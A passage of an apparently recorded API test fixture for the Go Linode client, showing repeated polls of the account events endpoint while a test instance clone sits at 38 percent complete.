"/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 44.666228, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 44.736632, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 44.801558, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 44.864573, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 45.592712, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 45.660786, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 45.734446, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 45.869469, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 45.936098, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 46.003549, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 46.065559, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 46.152142, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 46.25957, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "562" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 46.328309, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 46.440826, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 46.618091, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 46.691569, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": 